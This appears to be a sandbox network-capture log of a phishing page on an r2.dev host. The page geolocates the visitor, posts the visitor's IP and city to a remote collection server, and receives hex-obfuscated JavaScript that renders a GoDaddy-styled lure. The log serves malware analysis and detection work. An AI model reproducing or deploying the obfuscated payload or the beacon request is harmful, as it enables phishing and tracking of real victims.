2024-10-29 09:47:09 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2024-10-29 09:47:09 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	188.114.97.3	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:09 UTC	649	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:10 UTC	918	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:10 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 59 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=15%2FoEf0fyvy3o6MRgv8iQH1mdb%2BRIjulGJrVidy8PWK0KYWmgr0KPbrw8wR1EiU1T9QNTZtxK%2F3gb7srywu%2F12dhqIRTgNxJD6B96LtaxAVIuTxdpFEe5Nf%2Fh5Y76tOp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e1bedb447af-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2600&recv_bytes=1227&delivery_rate=1790970&cwnd=251&unsent_bytes=0&cid=8d523b290ecc23be&ts=306&x=0"
2024-10-29 09:47:10 UTC	451	IN	Data Raw: 34 33 38 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 32 2e 38 31 34 38 39 39 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 36 2e 38 37 39 32 30 34 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 35 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 37 35 32 34 37 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 44 61 6c 6c 61 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 69 73 50 72 6f 78 79 22 3a 74 72 75 65 2c 22 63 6f 6e 74 69 6e 65 Data Ascii: 438{"ipVersion":4,"ipAddress":"173.254.250.72","latitude":32.814899,"longitude":-96.879204,"countryName":"United States of America","countryCode":"US","timeZone":"-05:00","zipCode":"75247","cityName":"Dallas","regionName":"Texas","isProxy":true,"contine
2024-10-29 09:47:10 UTC	636	IN	Data Raw: 5c 2f 44 65 6e 76 65 72 22 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 Data Ascii: \/Denver","America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Wina
2024-10-29 09:47:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49756	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:11 UTC	760	OUT	POST /obufsssssssscaaatoion/ HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive Content-Length: 117 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:11 UTC	117	OUT	Data Raw: 50 61 67 65 54 79 70 65 3d 54 65 78 74 25 32 42 42 6c 75 72 72 65 64 42 67 26 4e 41 4d 45 4f 46 54 48 45 47 55 59 3d 44 61 6b 6f 6c 6f 2e 30 30 34 2e 42 61 62 61 26 69 70 3d 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 26 63 69 74 79 3d 44 61 6c 6c 61 73 26 63 6f 75 6e 74 72 79 3d 55 6e 69 74 65 64 2b 53 74 61 74 65 73 2b 6f 66 2b 41 6d 65 72 69 63 61 Data Ascii: PageType=Text%2BBlurredBg&NAMEOFTHEGUY=Dakolo.004.Baba&ip=173.254.250.72&city=Dallas&country=United+States+of+America
2024-10-29 09:47:11 UTC	923	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:11 GMT Content-Type: application/json Content-Length: 2452406 Connection: close X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=djFXBnLz6H3rCkI7AVL52iVTgY4CQszYPT2OcCwtPNbkNvfpuuJWtLoWc5Poe8yWVfYD%2BVwcVxj1vIqgW2dLyQdKWglyFZprtyrlSh5PFs0HtHwvkzk5SkrqfQR5M73mzUQB1h9hA82ueScY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e22e89b486d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1078&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1477&delivery_rate=2652014&cwnd=248&unsent_bytes=0&cid=40488ffbd0155f7b&ts=883&x=0"
2024-10-29 09:47:11 UTC	446	IN	Data Raw: 7b 22 6f 75 74 70 75 74 22 3a 20 22 76 61 72 20 5f 30 78 31 64 36 38 3d 5b 5c 22 5c 5c 78 37 33 5c 5c 78 36 38 5c 5c 78 36 39 5c 5c 78 36 36 5c 5c 78 37 34 5c 22 2c 5c 22 5c 5c 78 37 30 5c 5c 78 37 35 5c 5c 78 37 33 5c 5c 78 36 38 5c 22 2c 5c 22 5c 5c 78 30 41 5c 5c 78 30 41 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 34 38 5c 5c 78 37 34 5c 5c 78 36 44 5c 5c 78 36 43 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 36 5c 5c 78 36 46 5c 5c 78 36 46 5c 5c 78 Data Ascii: {"output": "var _0x1d68=[\"\\x73\\x68\\x69\\x66\\x74\",\"\\x70\\x75\\x73\\x68\",\"\\x0A\\x0A\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\x22\\x47\\x6F\\x64\\x61\\x64\\x64\\x79\\x48\\x74\\x6D\\x6C\\x22\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x66\\x6F\\x6F\\x
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 34 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 37 33 5c 5c 78 37 34 5c 5c 78 37 39 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 44 5c 5c 78 36 37 5c 5c 78 32 30 5c 5c 78 37 42 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 37 30 5c 5c 78 36 46 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 35 5c 5c 78 37 36 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 37 33 5c 5c 78 33 41 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 30 41 5c 5c 78 37 44 5c 5c 78 32 30 5c 5c 78 30 41 5c 5c 78 32 Data Ascii: 4\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x73\\x74\\x79\\x6C\\x65\\x3E\\x0A\\x20\\x20\\x20\\x20\\x69\\x6D\\x67\\x20\\x7B\\x0A\\x20\\x20\\x70\\x6F\\x69\\x6E\\x74\\x65\\x72\\x2D\\x65\\x76\\x65\\x6E\\x74\\x73\\x3A\\x20\\x6E\\x6F\\x6E\\x65\\x0A\\x7D\\x20\\x0A\\x2
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 32 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 45 5c 5c 78 36 35 5c 5c 78 37 38 5c 5c 78 37 34 5c 5c 78 32 44 5c 5c 78 36 38 5c 5c 78 36 35 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 32 44 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 37 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 32 32 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 33 34 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 30 5c 5c 78 36 45 5c 5c 78 36 31 5c 5c 78 36 44 5c 5c 78 36 35 5c 5c 78 Data Ascii: 20\\x6E\\x61\\x6D\\x65\\x3D\\x22\\x6E\\x65\\x78\\x74\\x2D\\x68\\x65\\x61\\x64\\x2D\\x63\\x6F\\x75\\x6E\\x74\\x22\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3D\\x22\\x34\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x6D\\x65\\x74\\x61\\x20\\x6E\\x61\\x6D\\x65\\x
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 78 36 42 5c 5c 78 36 35 5c 5c 78 37 34 5c 5c 78 32 44 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 30 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 34 5c 5c 78 36 31 5c 5c 78 37 34 5c 5c 78 36 31 5c 5c 78 32 44 5c 5c 78 36 33 5c 5c 78 37 39 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 36 38 5c 5c 78 36 35 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 35 5c 5c 78 37 32 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 39 5c 5c 78 36 34 5c 5c 78 33 44 5c 5c Data Ascii: x6B\\x65\\x74\\x2D\\x61\\x70\\x70\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x64\\x61\\x74\\x61\\x2D\\x63\\x79\\x3D\\x22\\x68\\x65\\x61\\x64\\x65\\x72\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x69\\x64\\x3D\\
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 35 5c 5c 78 37 38 5c 5c 78 32 44 5c 5c 78 36 32 5c 5c 78 37 35 5c 5c 78 37 34 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 44 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 37 38 5c 5c 78 37 34 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 35 33 5c 5c 78 36 42 5c 5c 78 36 39 5c 5c 78 37 30 5c 5c 78 32 30 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 32 30 5c 5c 78 36 44 5c 5c 78 36 31 5c 5c 78 36 39 5c 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 36 35 5c 5c 78 36 45 5c 5c 78 37 34 5c 5c 78 33 43 5c 5c 78 32 46 5c 5c 78 37 33 5c 5c 78 37 30 5c 5c 78 36 31 5c 5c 78 36 45 5c Data Ascii: \x6E\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x75\\x78\\x2D\\x62\\x75\\x74\\x74\\x6F\\x6E\\x2D\\x74\\x65\\x78\\x74\\x22\\x3E\\x53\\x6B\\x69\\x70\\x20\\x74\\x6F\\x20\\x6D\\x61\\x69\\x6E\\x20\\x63\\x6F\\x6E\\x74\\x65\\x6E\\x74\\x3C\\x2F\\x73\\x70\\x61\\x6E\
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 5c 5c 78 36 32 5c 5c 78 36 31 5c 5c 78 37 32 5c 5c 78 32 44 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 36 36 5c 5c 78 37 34 5c 5c 78 32 30 5c 5c 78 36 34 5c 5c 78 32 44 5c 5c 78 36 36 5c 5c 78 36 43 5c 5c 78 36 35 5c 5c 78 37 38 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 34 5c 5c 78 36 39 5c 5c 78 37 36 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 31 5c 5c 78 37 33 5c 5c 78 37 33 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 37 34 5c 5c 78 36 46 5c 5c 78 37 30 Data Ascii: \\x62\\x61\\x72\\x2D\\x6C\\x65\\x66\\x74\\x20\\x64\\x2D\\x66\\x6C\\x65\\x78\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x64\\x69\\x76\\x20\\x63\\x6C\\x61\\x73\\x73\\x3D\\x22\\x74\\x6F\\x70
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 43 5c 5c 78 33 44 5c 5c 78 32 32 5c 5c 78 34 37 5c 5c 78 36 46 5c 5c 78 34 34 5c 5c 78 36 31 5c 5c 78 36 34 5c 5c 78 36 34 5c 5c 78 37 39 5c 5c 78 32 32 5c 5c 78 33 45 5c 5c 78 30 41 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 32 30 5c 5c 78 33 43 5c 5c 78 36 36 5c 5c 78 36 39 5c 5c 78 36 37 5c 5c 78 36 33 5c 5c 78 36 31 5c 5c 78 37 30 5c 5c 78 37 34 5c 5c 78 36 39 5c 5c 78 36 46 5c 5c 78 36 45 5c 5c 78 32 30 5c 5c 78 36 33 5c 5c 78 36 43 5c 5c 78 36 Data Ascii: C\\x3D\\x22\\x47\\x6F\\x44\\x61\\x64\\x64\\x79\\x22\\x3E\\x0A\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x3C\\x66\\x69\\x67\\x63\\x61\\x70\\x74\\x69\\x6F\\x6E\\x20\\x63\\x6C\\x6
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 32 45 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 33 35 5c 5c 78 32 30 5c 5c 78 33 35 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 35 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 35 5c 5c 78 33 33 5c 5c 78 36 33 5c 5c 78 32 44 5c 5c 78 33 36 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 37 5c 5c 78 32 30 5c 5c 78 33 33 5c 5c 78 32 45 5c 5c 78 33 39 5c 5c 78 33 31 5c 5c 78 33 39 5c 5c 78 32 44 5c 5c 78 33 37 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 33 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 44 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 37 5c 5c 78 33 30 5c 5c 78 33 31 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 32 5c 5c 78 32 45 5c 5c 78 33 35 5c 5c 78 33 34 5c 5c 78 Data Ascii: 2E\\x39\\x32\\x35\\x20\\x35\\x2E\\x32\\x35\\x20\\x31\\x2E\\x35\\x35\\x33\\x63\\x2D\\x36\\x2E\\x32\\x37\\x20\\x33\\x2E\\x39\\x31\\x39\\x2D\\x37\\x2E\\x30\\x33\\x32\\x20\\x31\\x34\\x2E\\x30\\x31\\x2D\\x31\\x2E\\x37\\x30\\x31\\x20\\x32\\x32\\x2E\\x35\\x34\\x
2024-10-29 09:47:11 UTC	1369	IN	Data Raw: 78 32 44 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 33 5c 5c 78 33 38 5c 5c 78 33 35 5c 5c 78 32 30 5c 5c 78 33 37 5c 5c 78 32 45 5c 5c 78 33 38 5c 5c 78 32 44 5c 5c 78 32 45 5c 5c 78 33 32 5c 5c 78 33 31 5c 5c 78 33 37 5c 5c 78 36 33 5c 5c 78 32 45 5c 5c 78 33 34 5c 5c 78 33 34 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 31 5c 5c 78 33 37 5c 5c 78 33 37 5c 5c 78 32 45 5c 5c 78 33 38 5c 5c 78 33 37 5c 5c 78 33 38 5c 5c 78 32 45 5c 5c 78 33 33 5c 5c 78 33 38 5c 5c 78 32 30 5c 5c 78 33 31 5c 5c 78 32 45 5c 5c 78 33 33 5c 5c 78 33 31 5c 5c 78 33 32 5c 5c 78 32 45 5c 5c 78 33 36 5c 5c 78 33 30 5c 5c 78 33 36 5c 5c 78 36 31 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c 78 32 45 5c 5c 78 33 30 5c 5c 78 33 39 5c 5c 78 33 32 5c 5c 78 32 30 5c 5c 78 33 32 5c 5c 78 33 34 5c 5c Data Ascii: x2D\\x31\\x2E\\x33\\x38\\x35\\x20\\x37\\x2E\\x38\\x2D\\x2E\\x32\\x31\\x37\\x63\\x2E\\x34\\x34\\x31\\x2E\\x31\\x37\\x37\\x2E\\x38\\x37\\x38\\x2E\\x33\\x38\\x20\\x31\\x2E\\x33\\x31\\x32\\x2E\\x36\\x30\\x36\\x61\\x32\\x34\\x2E\\x30\\x39\\x32\\x20\\x32\\x34\\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	188.114.96.3	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:11 UTC	346	OUT	GET /api/json/ HTTP/1.1 Host: freeipapi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:12 UTC	909	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:11 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, private Vary: Accept-Encoding X-Powered-By: PHP/8.3.11 X-Ratelimit-Limit: 60 X-Ratelimit-Remaining: 58 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Is3OCVPTN7bEUfI7uRedQYL8KHnbvftCPJcjLuVOR2i0ismXW5plh2VJw3jX48iJBU2bT15QHLmG3wsEAMXi%2BIoa2XDAzaYUgNxDt0Vpy7LUYBjD93YlmJFVYwkHBZed"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e26eca63160-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1304&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2599&recv_bytes=924&delivery_rate=2207317&cwnd=240&unsent_bytes=0&cid=b4688a63748fec44&ts=292&x=0"
